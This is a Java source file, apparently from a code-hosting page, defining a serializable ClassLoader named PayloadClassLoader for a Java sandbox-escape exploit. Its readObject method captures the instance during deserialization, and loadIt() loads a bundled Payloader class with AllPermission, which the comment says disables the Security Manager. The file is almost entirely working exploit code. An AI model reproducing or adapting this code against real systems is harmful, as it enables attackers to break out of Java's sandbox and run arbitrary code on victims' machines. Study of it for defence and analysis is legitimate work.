72 lines
2.0 KiB
Java
72 lines
2.0 KiB
Java
import java.io.ByteArrayOutputStream;
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import java.io.IOException;
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import java.io.InputStream;
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import java.io.ObjectInputStream;
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import java.io.ObjectOutputStream;
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import java.io.Serializable;
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import java.net.URL;
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import java.security.AllPermission;
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import java.security.CodeSource;
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import java.security.Permissions;
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import java.security.ProtectionDomain;
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import java.security.cert.Certificate;
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/**
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* This class is a classloader and loads our Payloader class that disables the
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* Security Manager
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*
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* @author mka
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*
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*/
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public class PayloadClassLoader extends ClassLoader implements Serializable {
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private static final long serialVersionUID = -7072212342699783162L;
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public static PayloadClassLoader instance = null;
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private void writeObject(ObjectOutputStream paramObjectOutputStream)
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throws IOException, ClassNotFoundException {
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paramObjectOutputStream.defaultWriteObject();
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}
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private void readObject(ObjectInputStream paramObjectInputStream)
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throws IOException, ClassNotFoundException {
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instance = this;
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paramObjectInputStream.defaultReadObject();
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}
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public void loadIt() throws IOException, InstantiationException,
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IllegalAccessException {
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ByteArrayOutputStream localObject1;
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byte[] localObject2;
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InputStream localObject3;
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localObject1 = new ByteArrayOutputStream();
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localObject2 = new byte[8192];
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localObject3 = super.getClass().getResourceAsStream("/Payloader.class");
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int j;
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while ((j = (localObject3).read(localObject2)) > 0) {
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(localObject1).write(localObject2, 0, j);
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}
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localObject2 = (localObject1).toByteArray();
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URL localURL = new URL("file:///");
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Class localClass;
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Certificate[] arrayOfCertificate = new Certificate[0];
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Permissions localPermissions = new Permissions();
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localPermissions.add(new AllPermission());
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ProtectionDomain localProtectionDomain = new ProtectionDomain(
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new CodeSource(localURL, arrayOfCertificate), localPermissions);
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localClass = defineClass("Payloader", localObject2, 0,
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localObject2.length, localProtectionDomain);
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localClass.newInstance();
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}
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}
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